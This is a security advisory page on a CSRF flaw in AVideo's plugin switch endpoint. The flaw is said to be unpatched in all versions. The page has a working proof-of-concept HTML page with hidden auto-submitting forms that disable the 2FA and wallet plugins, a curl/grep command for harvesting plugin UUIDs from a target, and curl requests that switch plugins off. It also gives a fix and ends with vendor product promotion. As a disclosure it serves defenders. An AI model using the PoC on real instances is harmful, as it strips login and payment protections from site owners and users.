GHSA-hqxf-mhfw-rc44
MEDIUMAVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.
Plugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.
Details
The objects/pluginSwitch.json.php endpoint checks admin status but performs no CSRF validation:
// objects/pluginSwitch.json.php
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
$obj = new Plugin(0);
$obj->loadFromUUID($_POST['uuid']);
$obj->setStatus($_POST['status']);
$obj->save();
The plugins table is explicitly excluded from the ORM security check at objects/Object.php:529:
// objects/Object.php:529
public static function ignoreTableSecurityCheck() {
return array(
'plugins',
// ... other tables
);
}
This means the save() call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.
Plugin UUIDs are hardcoded in each plugin's getUUID() method and are consistent across all AVideo installations. Examples:
| Plugin | UUID |
|---|---|
| Gallery | a06505bf-3570-4b1f-977a-fd0e5cab205d |
| LoginControl | LoginControl-5ee8405eaaa16 |
| Live | e06b161c-cbd0-4c1d-a484-71018efa2f35 |
| YPTWallet | 2faf2eeb-88ac-48e1-a098-37e76ae3e9f3 |
These are also exposed in frontend JavaScript:
// design_first_page.php:99
var galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';
Proof of Concept
Host the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):
<!DOCTYPE html>
<html>
<head><title>AVI-031 PoC - Disable Security Plugin</title></head>
<body>
<h1>Loading content...</h1>
<!-- Disable LoginControl (2FA / brute force protection) -->
<iframe name="f1" style="display:none"></iframe>
<form id="disable1" method="POST" target="f1"
action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
<input type="hidden" name="uuid" value="LoginControl-5ee8405eaaa16" />
<input type="hidden" name="status" value="inactive" />
</form>
<!-- Disable YPTWallet (subscription/payment enforcement) -->
<iframe name="f2" style="display:none"></iframe>
<form id="disable2" method="POST" target="f2"
action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
<input type="hidden" name="uuid" value="2faf2eeb-88ac-48e1-a098-37e76ae3e9f3" />
<input type="hidden" name="status" value="inactive" />
</form>
<script>
document.getElementById('disable1').submit();
document.getElementById('disable2').submit();
</script>
</body>
</html>
To find plugin UUIDs on a target instance:
# UUIDs are exposed in the frontend source
curl -s "https://your-avideo-instance.com/" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'
Verification with curl:
# Disable a plugin using an admin session
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
-X POST "https://your-avideo-instance.com/objects/pluginSwitch.json.php" \
-d "uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d&status=inactive"
# Verify the plugin is now inactive
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
"https://your-avideo-instance.com/admin/index.php" | grep -A2 "Gallery"
Impact
An attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:
- LoginControl: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.
- Subscription/PayPal/Stripe plugins: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.
- Access control plugins: Restrict content visibility. Disabling them exposes private or restricted videos.
The attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the SameSite=None cookie policy ensures cross-origin delivery of the admin session.
- CWE-352: Cross-Site Request Forgery
Recommended Fix
Add CSRF token validation at objects/pluginSwitch.json.php:11, after the admin check:
// objects/pluginSwitch.json.php:11
if (!isGlobalTokenValid()) {
forbiddenPage('Invalid CSRF token');
}
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-hqxf-mhfw-rc44 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hqxf-mhfw-rc44 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hqxf-mhfw-rc44. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hqxf-mhfw-rc44 in your dependencies?
O3 detects GHSA-hqxf-mhfw-rc44 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.